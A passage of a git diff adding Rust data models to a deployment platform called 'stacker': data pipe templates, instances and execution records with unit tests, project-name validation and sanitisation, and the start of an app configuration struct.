assert_eq!("unverified", profile.verification_status); + assert_eq!("not_started", profile.onboarding_status); + assert!(!profile.payouts_enabled); + assert_eq!(serde_json::json!({}), profile.metadata); + } +} diff --git a/stacker/stacker/src/models/mod.rs b/stacker/stacker/src/models/mod.rs new file mode 100644 index 0000000..83951d1 --- /dev/null +++ b/stacker/stacker/src/models/mod.rs @@ -0,0 +1,46 @@ +mod agent; +pub mod agent_audit_log; +pub mod agent_protocol; +mod agreement; +pub mod cdc; +mod chat; +mod client; +mod cloud; +mod command; +pub mod dag; +pub(crate) mod deployment; +pub mod marketplace; +pub mod pipe; +mod product; +pub mod project; +pub mod project_app; +mod project_member; +mod ratecategory; +pub mod rating; +mod remote_secret; +pub mod resilience; +mod rules; +mod server; +pub mod user; + +pub use agent::*; +pub use agent_audit_log::AgentAuditLog; +pub use agreement::*; +pub use chat::*; +pub use client::*; +pub use cloud::*; +pub use command::*; +pub use dag::*; +pub use deployment::*; +pub use marketplace::*; +pub use pipe::*; +pub use product::*; +pub use project::*; +pub use project_app::*; +pub use project_member::*; +pub use ratecategory::*; +pub use rating::*; +pub use remote_secret::*; +pub use rules::*; +pub use server::*; +pub use user::*; diff --git a/stacker/stacker/src/models/pipe.rs b/stacker/stacker/src/models/pipe.rs new file mode 100644 index 0000000..6f749db --- /dev/null +++ b/stacker/stacker/src/models/pipe.rs @@ -0,0 +1,642 @@ +use serde::{Deserialize, Serialize}; +use sqlx::types::chrono::{DateTime, Utc}; +use sqlx::types::uuid::Uuid; +use sqlx::types::JsonValue; + +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ +// PipeTemplate — reusable pipe definitions +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ + +#[derive(Debug, Clone, Serialize, Deserialize, sqlx::FromRow)] +pub struct PipeTemplate { + pub id: Uuid, + pub name: String, + pub description: Option, + pub source_app_type: String, + pub source_endpoint: JsonValue, + pub target_app_type: String, + pub target_endpoint: JsonValue, + pub target_external_url: Option, + pub field_mapping: JsonValue, + pub config: Option, + pub is_public: Option, + pub created_by: String, + pub created_at: DateTime, + pub updated_at: DateTime, +} + +impl PipeTemplate { + pub fn new( + name: String, + source_app_type: String, + source_endpoint: JsonValue, + target_app_type: String, + target_endpoint: JsonValue, + field_mapping: JsonValue, + created_by: String, + ) -> Self { + Self { + id: Uuid::new_v4(), + name, + description: None, + source_app_type, + source_endpoint, + target_app_type, + target_endpoint, + target_external_url: None, + field_mapping, + config: None, + is_public: Some(false), + created_by, + created_at: Utc::now(), + updated_at: Utc::now(), + } + } + + pub fn with_description(mut self, description: String) -> Self { + self.description = Some(description); + self + } + + pub fn with_external_url(mut self, url: String) -> Self { + self.target_external_url = Some(url); + self + } + + pub fn with_config(mut self, config: JsonValue) -> Self { + self.config = Some(config); + self + } + + pub fn with_public(mut self, is_public: bool) -> Self { + self.is_public = Some(is_public); + self + } +} + +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ +// PipeStatus — pipe instance lifecycle states +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ + +#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)] +#[serde(rename_all = "lowercase")] +pub enum PipeStatus { + Draft, + Active, + Paused, + Error, +} + +impl std::fmt::Display for PipeStatus { + fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result { + match self { + PipeStatus::Draft => write!(f, "draft"), + PipeStatus::Active => write!(f, "active"), + PipeStatus::Paused => write!(f, "paused"), + PipeStatus::Error => write!(f, "error"), + } + } +} + +impl Default for PipeStatus { + fn default() -> Self { + PipeStatus::Draft + } +} + +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ +// PipeInstance — deployment-specific pipe activations +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ + +#[derive(Debug, Clone, Serialize, Deserialize, sqlx::FromRow)] +pub struct PipeInstance { + pub id: Uuid, + pub template_id: Option, + pub deployment_hash: Option, + pub source_adapter: Option, + pub source_container: String, + pub target_adapter: Option, + pub target_container: Option, + pub target_url: Option, + pub field_mapping_override: Option, + pub config_override: Option, + pub status: String, + pub last_triggered_at: Option>, + pub trigger_count: i64, + pub error_count: i64, + pub is_local: bool, + pub created_by: String, + pub created_at: DateTime, + pub updated_at: DateTime, +} + +impl PipeInstance { + pub fn new(deployment_hash: String, source_container: String, created_by: String) -> Self { + Self { + id: Uuid::new_v4(), + template_id: None, + deployment_hash: Some(deployment_hash), + source_adapter: None, + source_container, + target_adapter: None, + target_container: None, + target_url: None, + field_mapping_override: None, + config_override: None, + status: PipeStatus::Draft.to_string(), + last_triggered_at: None, + trigger_count: 0, + error_count: 0, + is_local: false, + created_by, + created_at: Utc::now(), + updated_at: Utc::now(), + } + } + + /// Create a local pipe instance (no deployment required). + pub fn new_local(source_container: String, created_by: String) -> Self { + Self { + id: Uuid::new_v4(), + template_id: None, + deployment_hash: None, + source_adapter: None, + source_container, + target_adapter: None, + target_container: None, + target_url: None, + field_mapping_override: None, + config_override: None, + status: PipeStatus::Draft.to_string(), + last_triggered_at: None, + trigger_count: 0, + error_count: 0, + is_local: true, + created_by, + created_at: Utc::now(), + updated_at: Utc::now(), + } + } + + pub fn with_template(mut self, template_id: Uuid) -> Self { + self.template_id = Some(template_id); + self + } + + pub fn with_target_container(mut self, container: String) -> Self { + self.target_container = Some(container); + self + } + + pub fn with_source_adapter(mut self, adapter: JsonValue) -> Self { + self.source_adapter = Some(adapter); + self + } + + pub fn with_target_adapter(mut self, adapter: JsonValue) -> Self { + self.target_adapter = Some(adapter); + self + } + + pub fn with_target_url(mut self, url: String) -> Self { + self.target_url = Some(url); + self + } + + pub fn with_field_mapping_override(mut self, mapping: JsonValue) -> Self { + self.field_mapping_override = Some(mapping); + self + } + + pub fn with_config_override(mut self, config: JsonValue) -> Self { + self.config_override = Some(config); + self + } +} + +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ +// PipeExecution — full execution history for pipe triggers +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ + +#[derive(Debug, Clone, Serialize, Deserialize, sqlx::FromRow)] +pub struct PipeExecution { + pub id: Uuid, + pub pipe_instance_id: Uuid, + pub deployment_hash: Option, + pub trigger_type: String, + pub status: String, + pub source_data: Option, + pub mapped_data: Option, + pub target_response: Option, + pub error: Option, + pub duration_ms: Option, + pub replay_of: Option, + pub is_local: bool, + pub created_by: String, + pub started_at: DateTime, + pub completed_at: Option>, +} + +impl PipeExecution { + pub fn new( + pipe_instance_id: Uuid, + deployment_hash: Option, + trigger_type: String, + created_by: String, + ) -> Self { + let is_local = deployment_hash.is_none(); + Self { + id: Uuid::new_v4(), + pipe_instance_id, + deployment_hash, + trigger_type, + status: "running".to_string(), + source_data: None, + mapped_data: None, + target_response: None, + error: None, + duration_ms: None, + replay_of: None, + is_local, + created_by, + started_at: Utc::now(), + completed_at: None, + } + } + + pub fn with_replay_of(mut self, original_id: Uuid) -> Self { + self.replay_of = Some(original_id); + self + } + + pub fn complete_success( + mut self, + source_data: JsonValue, + mapped_data: JsonValue, + target_response: JsonValue, + ) -> Self { + let now = Utc::now(); + self.status = "success".to_string(); + self.source_data = Some(source_data); + self.mapped_data = Some(mapped_data); + self.target_response = Some(target_response); + self.duration_ms = Some((now - self.started_at).num_milliseconds()); + self.completed_at = Some(now); + self + } + + pub fn complete_failure(mut self, error: String) -> Self { + let now = Utc::now(); + self.status = "failed".to_string(); + self.error = Some(error); + self.duration_ms = Some((now - self.started_at).num_milliseconds()); + self.completed_at = Some(now); + self + } +} + +#[cfg(test)] +mod tests { + use super::*; + use serde_json::json; + + #[test] + fn test_pipe_status_display() { + assert_eq!(PipeStatus::Draft.to_string(), "draft"); + assert_eq!(PipeStatus::Active.to_string(), "active"); + assert_eq!(PipeStatus::Paused.to_string(), "paused"); + assert_eq!(PipeStatus::Error.to_string(), "error"); + } + + #[test] + fn test_pipe_status_default() { + assert_eq!(PipeStatus::default(), PipeStatus::Draft); + } + + #[test] + fn test_pipe_status_serde_roundtrip() { + let status = PipeStatus::Active; + let serialized = serde_json::to_string(&status).unwrap(); + assert_eq!(serialized, "\"active\""); + let deserialized: PipeStatus = serde_json::from_str(&serialized).unwrap(); + assert_eq!(deserialized, PipeStatus::Active); + } + + #[test] + fn test_pipe_template_new() { + let template = PipeTemplate::new( + "wordpress-to-mailchimp".to_string(), + "wordpress".to_string(), + json!({"path": "/wp-json/wp/v2/users", "method": "POST"}), + "mailchimp".to_string(), + json!({"path": "/3.0/lists/{list_id}/members", "method": "POST"}), + json!({"email": "$.user_email", "name": "$.display_name"}), + "user123".to_string(), + ); + + assert_eq!(template.name, "wordpress-to-mailchimp"); + assert_eq!(template.source_app_type, "wordpress"); + assert_eq!(template.target_app_type, "mailchimp"); + assert!(template.description.is_none()); + assert!(template.target_external_url.is_none()); + assert_eq!(template.is_public, Some(false)); + assert_eq!(template.created_by, "user123"); + } + + #[test] + fn test_pipe_template_builder() { + let template = PipeTemplate::new( + "test-pipe".to_string(), + "wordpress".to_string(), + json!({}), + "slack".to_string(), + json!({}), + json!({}), + "user1".to_string(), + ) + .with_description("A test pipe".to_string()) + .with_external_url("https://hooks.slack.com/services/xxx".to_string()) + .with_config(json!({"retry_count": 3})) + .with_public(true); + + assert_eq!(template.description, Some("A test pipe".to_string())); + assert_eq!( + template.target_external_url, + Some("https://hooks.slack.com/services/xxx".to_string()) + ); + assert_eq!(template.config, Some(json!({"retry_count": 3}))); + assert_eq!(template.is_public, Some(true)); + } + + #[test] + fn test_pipe_template_serialization() { + let template = PipeTemplate::new( + "test".to_string(), + "app_a".to_string(), + json!({"path": "/api"}), + "app_b".to_string(), + json!({"path": "/hook"}), + json!({"field1": "$.field2"}), + "creator".to_string(), + ); + + let json_str = serde_json::to_string(&template).unwrap(); + let deserialized: PipeTemplate = serde_json::from_str(&json_str).unwrap(); + assert_eq!(deserialized.name, "test"); + assert_eq!(deserialized.source_app_type, "app_a"); + assert_eq!(deserialized.target_app_type, "app_b"); + } + + #[test] + fn test_pipe_instance_new() { + let instance = PipeInstance::new( + "deploy_abc123".to_string(), + "wordpress_1".to_string(), + "user456".to_string(), + ); + + assert_eq!(instance.deployment_hash, Some("deploy_abc123".to_string())); + assert_eq!(instance.source_container, "wordpress_1"); + assert_eq!(instance.status, "draft"); + assert!(!instance.is_local); + assert!(instance.template_id.is_none()); + assert!(instance.source_adapter.is_none()); + assert!(instance.target_adapter.is_none()); + assert!(instance.target_container.is_none()); + assert!(instance.target_url.is_none()); + assert_eq!(instance.trigger_count, 0); + assert_eq!(instance.error_count, 0); + assert!(instance.last_triggered_at.is_none()); + } + + #[test] + fn test_pipe_instance_new_local() { + let instance = PipeInstance::new_local("my_postgres".to_string(), "user789".to_string()); + + assert!(instance.deployment_hash.is_none()); + assert_eq!(instance.source_container, "my_postgres"); + assert_eq!(instance.status, "draft"); + assert!(instance.is_local); + assert_eq!(instance.created_by, "user789"); + } + + #[test] + fn test_pipe_instance_builder() { + let template_id = Uuid::new_v4(); + let instance = PipeInstance::new( + "deploy_xyz".to_string(), + "wordpress_1".to_string(), + "user789".to_string(), + ) + .with_template(template_id) + .with_source_adapter(json!({"code": "imap"})) + .with_target_adapter(json!({"code": "smtp"})) + .with_target_container("mailchimp_1".to_string()) + .with_target_url("https://external.api/hook".to_string()) + .with_field_mapping_override(json!({"email": "$.custom_email"})) + .with_config_override(json!({"timeout": 30})); + + assert_eq!(instance.template_id, Some(template_id)); + assert_eq!(instance.source_adapter, Some(json!({"code": "imap"}))); + assert_eq!(instance.target_adapter, Some(json!({"code": "smtp"}))); + assert_eq!(instance.target_container, Some("mailchimp_1".to_string())); + assert_eq!( + instance.target_url, + Some("https://external.api/hook".to_string()) + ); + assert_eq!( + instance.field_mapping_override, + Some(json!({"email": "$.custom_email"})) + ); + assert_eq!(instance.config_override, Some(json!({"timeout": 30}))); + } + + #[test] + fn test_pipe_instance_serialization() { + let instance = PipeInstance::new( + "deploy_test".to_string(), + "container_a".to_string(), + "user_test".to_string(), + ); + + let json_str = serde_json::to_string(&instance).unwrap(); + let deserialized: PipeInstance = serde_json::from_str(&json_str).unwrap(); + assert_eq!( + deserialized.deployment_hash, + Some("deploy_test".to_string()) + ); + assert!(deserialized.source_adapter.is_none()); + assert!(deserialized.target_adapter.is_none()); + assert_eq!(deserialized.source_container, "container_a"); + assert_eq!(deserialized.status, "draft"); + } + + // ── PipeExecution tests ── + + #[test] + fn test_pipe_execution_new() { + let instance_id = Uuid::new_v4(); + let exec = PipeExecution::new( + instance_id, + Some("deploy_abc".to_string()), + "manual".to_string(), + "user1".to_string(), + ); + + assert_eq!(exec.pipe_instance_id, instance_id); + assert_eq!(exec.deployment_hash, Some("deploy_abc".to_string())); + assert_eq!(exec.trigger_type, "manual"); + assert_eq!(exec.status, "running"); + assert!(!exec.is_local); + assert_eq!(exec.created_by, "user1"); + assert!(exec.source_data.is_none()); + assert!(exec.mapped_data.is_none()); + assert!(exec.target_response.is_none()); + assert!(exec.error.is_none()); + assert!(exec.duration_ms.is_none()); + assert!(exec.replay_of.is_none()); + assert!(exec.completed_at.is_none()); + } + + #[test] + fn test_pipe_execution_complete_success() { + let exec = PipeExecution::new( + Uuid::new_v4(), + Some("deploy_abc".to_string()), + "webhook".to_string(), + "user1".to_string(), + ) + .complete_success( + json!({"id": 1, "title": "Hello"}), + json!({"subject": "Hello"}), + json!({"status": 200, "id": "mc_123"}), + ); + + assert_eq!(exec.status, "success"); + assert_eq!(exec.source_data, Some(json!({"id": 1, "title": "Hello"}))); + assert_eq!(exec.mapped_data, Some(json!({"subject": "Hello"}))); + assert_eq!( + exec.target_response, + Some(json!({"status": 200, "id": "mc_123"})) + ); + assert!(exec.error.is_none()); + assert!(exec.duration_ms.is_some()); + assert!(exec.completed_at.is_some()); + } + + #[test] + fn test_pipe_execution_complete_failure() { + let exec = PipeExecution::new( + Uuid::new_v4(), + Some("deploy_abc".to_string()), + "poll".to_string(), + "user1".to_string(), + ) + .complete_failure("Connection refused".to_string()); + + assert_eq!(exec.status, "failed"); + assert_eq!(exec.error, Some("Connection refused".to_string())); + assert!(exec.source_data.is_none()); + assert!(exec.duration_ms.is_some()); + assert!(exec.completed_at.is_some()); + } + + #[test] + fn test_pipe_execution_with_replay_of() { + let original_id = Uuid::new_v4(); + let exec = PipeExecution::new( + Uuid::new_v4(), + Some("deploy_abc".to_string()), + "replay".to_string(), + "user1".to_string(), + ) + .with_replay_of(original_id); + + assert_eq!(exec.replay_of, Some(original_id)); + assert_eq!(exec.trigger_type, "replay"); + } + + #[test] + fn test_pipe_execution_serialization() { + let exec = PipeExecution::new( + Uuid::new_v4(), + Some("deploy_test".to_string()), + "manual".to_string(), + "user_test".to_string(), + ) + .complete_success( + json!({"key": "value"}), + json!({"mapped_key": "value"}), + json!({"ok": true}), + ); + + let json_str = serde_json::to_string(&exec).unwrap(); + let deserialized: PipeExecution = serde_json::from_str(&json_str).unwrap(); + assert_eq!( + deserialized.deployment_hash, + Some("deploy_test".to_string()) + ); + assert_eq!(deserialized.trigger_type, "manual"); + assert_eq!(deserialized.status, "success"); + assert_eq!(deserialized.source_data, Some(json!({"key": "value"}))); + } + + #[test] + fn test_pipe_instance_local_no_hash_and_is_local_flag() { + let instance = PipeInstance::new_local("my-app".to_string(), "user1".to_string()); + assert!(instance.is_local); + assert!(instance.deployment_hash.is_none()); + assert_eq!(instance.source_container, "my-app"); + assert_eq!(instance.created_by, "user1"); + assert_eq!(instance.status, "draft"); + assert_eq!(instance.trigger_count, 0); + assert_eq!(instance.error_count, 0); + } + + #[test] + fn test_pipe_instance_new_remote_has_hash() { + let instance = PipeInstance::new( + "abc123hash".to_string(), + "my-app".to_string(), + "user1".to_string(), + ); + assert!(!instance.is_local); + assert_eq!(instance.deployment_hash, Some("abc123hash".to_string())); + } + + #[test] + fn test_pipe_instance_local_serialization_roundtrip() { + let instance = PipeInstance::new_local("my-app".to_string(), "user1".to_string()); + let json_str = serde_json::to_string(&instance).unwrap(); + let deserialized: PipeInstance = serde_json::from_str(&json_str).unwrap(); + assert!(deserialized.is_local); + assert!(deserialized.deployment_hash.is_none()); + assert_eq!(deserialized.source_container, "my-app"); + } + + #[test] + fn test_pipe_execution_local_no_hash() { + let exec = PipeExecution::new( + Uuid::new_v4(), + None, + "manual".to_string(), + "user1".to_string(), + ); + assert!(exec.is_local); + assert!(exec.deployment_hash.is_none()); + assert_eq!(exec.trigger_type, "manual"); + assert_eq!(exec.status, "running"); + } + + #[test] + fn test_pipe_execution_remote_has_hash() { + let exec = PipeExecution::new( + Uuid::new_v4(), + Some("hash123".to_string()), + "webhook".to_string(), + "user1".to_string(), + ); + assert!(!exec.is_local); + assert_eq!(exec.deployment_hash, Some("hash123".to_string())); + } +} diff --git a/stacker/stacker/src/models/product.rs b/stacker/stacker/src/models/product.rs new file mode 100644 index 0000000..8fde4f3 --- /dev/null +++ b/stacker/stacker/src/models/product.rs @@ -0,0 +1,16 @@ +use chrono::{DateTime, Utc}; + +pub struct Product { + // Product - is an external object that we want to store in the database, + // that can be a project or an app in the project. feature, service, web app etc. + // id - is a unique identifier for the product + // user_id - is a unique identifier for the user + // rating - is a rating of the product + // product type project & app, + // id is generated based on the product type and external obj_id + pub id: i32, //primary key, for better data management + pub obj_id: i32, // external product ID db, no autoincrement, example: 100 + pub obj_type: String, // project | app, unique index + pub created_at: DateTime, + pub updated_at: DateTime, +} diff --git a/stacker/stacker/src/models/project.rs b/stacker/stacker/src/models/project.rs new file mode 100644 index 0000000..1daa719 --- /dev/null +++ b/stacker/stacker/src/models/project.rs @@ -0,0 +1,435 @@ +use chrono::{DateTime, Utc}; +use regex::Regex; +use serde::{Deserialize, Serialize}; +use serde_json::Value; +use std::sync::OnceLock; +use uuid::Uuid; + +/// Regex for valid Unix directory names (cached on first use) +fn valid_dir_name_regex() -> &'static Regex { + static REGEX: OnceLock = OnceLock::new(); + REGEX.get_or_init(|| { + // Must start with alphanumeric or underscore + // Can contain alphanumeric, underscore, hyphen, dot + // Length 1-255 characters + Regex::new(r"^[a-zA-Z0-9_][a-zA-Z0-9_\-.]{0,254}$").unwrap() + }) +} + +/// Error type for project name validation +#[derive(Debug, Clone, PartialEq)] +pub enum ProjectNameError { + Empty, + TooLong(usize), + InvalidCharacters(String), + ReservedName(String), +} + +impl std::fmt::Display for ProjectNameError { + fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result { + match self { + ProjectNameError::Empty => write!(f, "Project name cannot be empty"), + ProjectNameError::TooLong(len) => { + write!(f, "Project name too long ({} chars, max 255)", len) + } + ProjectNameError::InvalidCharacters(name) => { + write!( + f, + "Project name '{}' contains invalid characters. Use only alphanumeric, underscore, hyphen, or dot", + name + ) + } + ProjectNameError::ReservedName(name) => { + write!(f, "Project name '{}' is reserved", name) + } + } + } +} + +impl std::error::Error for ProjectNameError {} + +/// Reserved directory names that should not be used as project names +const RESERVED_NAMES: &[&str] = &[ + ".", + "..", + "root", + "home", + "etc", + "var", + "tmp", + "usr", + "bin", + "sbin", + "lib", + "lib64", + "opt", + "proc", + "sys", + "dev", + "boot", + "mnt", + "media", + "srv", + "run", + "lost+found", + "trydirect", +]; + +/// Validate a project name for use as a Unix directory name +pub fn validate_project_name(name: &str) -> Result<(), ProjectNameError> { + // Check empty + if name.is_empty() { + return Err(ProjectNameError::Empty); + } + + // Check length + if name.len() > 255 { + return Err(ProjectNameError::TooLong(name.len())); + } + + // Check reserved names (case-insensitive) + let lower = name.to_lowercase(); + if RESERVED_NAMES.contains(&lower.as_str()) { + return Err(ProjectNameError::ReservedName(name.to_string())); + } + + // Check valid characters + if !valid_dir_name_regex().is_match(name) { + return Err(ProjectNameError::InvalidCharacters(name.to_string())); + } + + Ok(()) +} + +/// Sanitize a project name to be a valid Unix directory name +/// Replaces invalid characters and ensures the result is valid +pub fn sanitize_project_name(name: &str) -> String { + if name.is_empty() { + return "project".to_string(); + } + + // Convert to lowercase and replace invalid chars with underscore + let sanitized: String = name + .to_lowercase() + .chars() + .enumerate() + .map(|(i, c)| { + if i == 0 { + // First char must be alphanumeric or underscore + if c.is_ascii_alphanumeric() || c == '_' { + c + } else { + '_' + } + } else { + // Subsequent chars can also include hyphen and dot + if c.is_ascii_alphanumeric() || c == '_' || c == '-' || c == '.' { + c + } else { + '_' + } + } + }) + .collect(); + + // Truncate if too long + let truncated: String = sanitized.chars().take(255).collect(); + + // Check if it's a reserved name + if RESERVED_NAMES.contains(&truncated.as_str()) { + return format!("project_{}", truncated); + } + + if truncated.is_empty() { + "project".to_string() + } else { + truncated + } +} + +#[derive(Debug, Serialize, Deserialize, Clone)] +pub struct Project { + pub id: i32, // id - is a unique identifier for the app project + pub stack_id: Uuid, // external project ID + pub user_id: String, // external unique identifier for the user + pub name: String, + // pub metadata: sqlx::types::Json, + pub metadata: Value, //json type + pub request_json: Value, + pub created_at: DateTime, + pub updated_at: DateTime, + pub source_template_id: Option, // marketplace template UUID + pub template_version: Option, // marketplace template version +} + +#[derive(Debug, Clone, PartialEq, Serialize, Deserialize, sqlx::FromRow)] +pub struct SharedProjectSummary { + pub id: i32, + pub name: String, + pub role: String, + pub shared_at: DateTime, +} + +impl Project { + pub fn new(user_id: String, name: String, metadata: Value, request_json: Value) -> Self { + Self { + id: 0, + stack_id: Uuid::new_v4(), + user_id, + name, + metadata, + request_json, + created_at: Utc::now(), + updated_at: Utc::now(), + source_template_id: None, + template_version: None, + } + } + + /// Validate the project name for use as a directory + pub fn validate_name(&self) -> Result<(), ProjectNameError> { + validate_project_name(&self.name) + } + + /// Get the sanitized directory name for this project (lowercase, safe for Unix) + pub fn safe_dir_name(&self) -> String { + sanitize_project_name(&self.name) + } + + /// Get the full deploy directory path for this project + /// Uses the provided base_dir, or DEFAULT_DEPLOY_DIR env var, or defaults to /home/trydirect + pub fn deploy_dir(&self, base_dir: Option<&str>) -> String { + let default_base = + std::env::var("DEFAULT_DEPLOY_DIR").unwrap_or_else(|_| "/home/trydirect".to_string()); + let base = base_dir.unwrap_or(&default_base); + format!("{}/{}", base.trim_end_matches('/'), self.safe_dir_name()) + } + + /// Get the deploy directory using deployment_hash (for backwards compatibility) + pub fn deploy_dir_with_hash(&self, base_dir: Option<&str>, deployment_hash: &str) -> String { + let default_base = + std::env::var("DEFAULT_DEPLOY_DIR").unwrap_or_else(|_| "/home/trydirect".to_string()); + let base = base_dir.unwrap_or(&default_base); + format!("{}/{}", base.trim_end_matches('/'), deployment_hash) + } +} + +impl Default for Project { + fn default() -> Self { + Project { + id: 0, + stack_id: Default::default(), + user_id: "".to_string(), + name: "".to_string(), + metadata: Default::default(), + request_json: Default::default(), + created_at: Default::default(), + updated_at: Default::default(), + source_template_id: None, + template_version: None, + } + } +} + +#[cfg(test)] +mod tests { + use super::*; + + // Test validate_project_name + #[test] + fn test_validate_empty_name() { + assert_eq!(validate_project_name(""), Err(ProjectNameError::Empty)); + } + + #[test] + fn test_validate_too_long_name() { + let long_name = "a".repeat(256); + assert_eq!( + validate_project_name(&long_name), + Err(ProjectNameError::TooLong(256)) + ); + } + + #[test] + fn test_validate_reserved_names() { + for name in &["root", "tmp", "etc", "var", "dev", ".", ".."] { + assert!(matches!( + validate_project_name(name), + Err(ProjectNameError::ReservedName(_)) + )); + } + } + + #[test] + fn test_validate_reserved_names_case_insensitive() { + assert!(matches!( + validate_project_name("ROOT"), + Err(ProjectNameError::ReservedName(_)) + )); + assert!(matches!( + validate_project_name("Tmp"), + Err(ProjectNameError::ReservedName(_)) + )); + } + + #[test] + fn test_validate_invalid_characters() { + assert!(matches!( + validate_project_name("my project"), + Err(ProjectNameError::InvalidCharacters(_)) + )); + assert!(matches!( + validate_project_name("name/path"), + Err(ProjectNameError::InvalidCharacters(_)) + )); + assert!(matches!( + validate_project_name("-starts-with-dash"), + Err(ProjectNameError::InvalidCharacters(_)) + )); + } + + #[test] + fn test_validate_valid_names() { + assert!(validate_project_name("myproject").is_ok()); + assert!(validate_project_name("my-project").is_ok()); + assert!(validate_project_name("my_project").is_ok()); + assert!(validate_project_name("my.project").is_ok()); + assert!(validate_project_name("Project123").is_ok()); + assert!(validate_project_name("_private").is_ok()); + } + + #[test] + fn test_validate_max_length_name() { + let name = "a".repeat(255); + assert!(validate_project_name(&name).is_ok()); + } + + // Test sanitize_project_name + #[test] + fn test_sanitize_empty() { + assert_eq!(sanitize_project_name(""), "project"); + } + + #[test] + fn test_sanitize_lowercases() { + assert_eq!(sanitize_project_name("MyProject"), "myproject"); + } + + #[test] + fn test_sanitize_replaces_invalid_chars() { + assert_eq!(sanitize_project_name("my project"), "my_project"); + assert_eq!(sanitize_project_name("my/project"), "my_project"); + } + + #[test] + fn test_sanitize_reserved_name() { + assert_eq!(sanitize_project_name("root"), "project_root"); + assert_eq!(sanitize_project_name("tmp"), "project_tmp"); + } + + #[test] + fn test_sanitize_first_char_special() { + assert_eq!(sanitize_project_name("-myproject"), "_myproject"); + assert_eq!(sanitize_project_name(".myproject"), "_myproject"); + } + + #[test] + fn test_sanitize_truncates_long_name() { + let long_name = "a".repeat(300); + let result = sanitize_project_name(&long_name); + assert_eq!(result.len(), 255); + } + + // Test ProjectNameError Display + #[test] + fn test_error_display() { + assert_eq!( + ProjectNameError::Empty.to_string(), + "Project name cannot be empty" + ); + assert_eq!( + ProjectNameError::TooLong(300).to_string(), + "Project name too long (300 chars, max 255)" + ); + assert!(ProjectNameError::InvalidCharacters("bad name".to_string()) + .to_string() + .contains("bad name")); + assert!(ProjectNameError::ReservedName("root".to_string()) + .to_string() + .contains("root")); + } + + // Test Project methods + #[test] + fn test_project_new() { + let project = Project::new( + "user1".to_string(), + "test-project".to_string(), + serde_json::json!({}), + serde_json::json!({}), + ); + assert_eq!(project.id, 0); + assert_eq!(project.user_id, "user1"); + assert_eq!(project.name, "test-project"); + assert!(project.source_template_id.is_none()); + } + + #[test] + fn test_project_validate_name() { + let project = Project::new( + "u".to_string(), + "valid-name".to_string(), + Value::Null, + Value::Null, + ); + assert!(project.validate_name().is_ok()); + + let bad_project = Project::new("u".to_string(), "".to_string(), Value::Null, Value::Null); + assert!(bad_project.validate_name().is_err()); + } + + #[test] + fn test_project_safe_dir_name() { + let project = Project::new( + "u".to_string(), + "My Project".to_string(), + Value::Null, + Value::Null, + ); + assert_eq!(project.safe_dir_name(), "my_project"); + } + + #[test] + fn test_project_deploy_dir() { + let project = Project::new( + "u".to_string(), + "myapp".to_string(), + Value::Null, + Value::Null, + ); + assert_eq!(project.deploy_dir(Some("/deploy")), "/deploy/myapp"); + assert_eq!(project.deploy_dir(Some("/deploy/")), "/deploy/myapp"); + } + + #[test] + fn test_project_deploy_dir_with_hash() { + let project = Project::new( + "u".to_string(), + "myapp".to_string(), + Value::Null, + Value::Null, + ); + assert_eq!( + project.deploy_dir_with_hash(Some("/deploy"), "abc123"), + "/deploy/abc123" + ); + } + + #[test] + fn test_project_default() { + let project = Project::default(); + assert_eq!(project.id, 0); + assert_eq!(project.user_id, ""); + assert_eq!(project.name, ""); + } +} diff --git a/stacker/stacker/src/models/project_app.rs b/stacker/stacker/src/models/project_app.rs new file mode 100644 index 0000000..9cd609c --- /dev/null +++ b/stacker/stacker/src/models/project_app.rs @@ -0,0 +1,368 @@ +//! ProjectApp model for storing app configurations within projects. +//! +//! Each project can have multiple apps, and each app has its own: +//! - Environment variables +//! - Port configurations +//! - Volume mounts +//! - Domain/SSL settings +//! - Resource limits +//! - Config versioning for Vault sync + +use chrono::{DateTime, Utc}; +use serde::{Deserialize, Serialize}; +use serde_json::Value; + +/// App configuration stored in the database. +/// +/// Apps belong to projects and contain all the configuration +/// needed to deploy a container (env vars, ports, volumes, etc.) +#[derive(Debug, Clone, Serialize, Deserialize, sqlx::FromRow)] +pub struct ProjectApp { + pub id: i32, + pub project_id: i32, + /// Unique code within the project (e.g., "nginx", "postgres", "redis") + pub code: String, + /// Human-readable name + pub name: String, + /// Docker image (e.g., "nginx:latest", "postgres:15") + pub image: String, + /// Environment variables as JSON object + #[sqlx(default)] + pub environment: Option, + /// Port mappings as JSON array [{host: 80, container: 80, protocol: "tcp"}] + #[sqlx(default)] + pub ports: Option, + /// Volume mounts as JSON array + #[sqlx(default)] + pub volumes: Option, + /// Domain configuration (e.g., "app.example.com") + #[sqlx(default)] + pub domain: Option, + /// SSL enabled for this app + #[sqlx(default)] + pub ssl_enabled: Option, + /// Resource limits as JSON {cpu_limit, memory_limit, etc.} + #[sqlx(default)] + pub resources: Option, + /// Restart policy (always, no, unless-stopped, on-failure) + #[sqlx(default)] + pub restart_policy: Option, + /// Custom command override + #[sqlx(default)] + pub command: Option, + /// Custom entrypoint override + #[sqlx(default)] + pub entrypoint: Option, + /// Networks this app connects to + #[sqlx(default)] + pub networks: Option, + /// Dependencies on other apps (starts after these) + #[sqlx(default)] + pub depends_on: Option, + /// Health check configuration + #[sqlx(default)] + pub healthcheck: Option, + /// Labels for the container + #[sqlx(default)] + pub labels: Option, + /// Configuration file templates as JSON array + #[sqlx(default)] + pub config_files: Option, + /// Source template for this app configuration (e.g., marketplace template URL) + #[sqlx(default)] + pub template_source: Option, + /// App is enabled (will be deployed) + #[sqlx(default)] + pub enabled: Option, + /// Order in deployment (lower = first) + #[sqlx(default)] + pub deploy_order: Option, + pub created_at: DateTime, + pub updated_at: DateTime, + 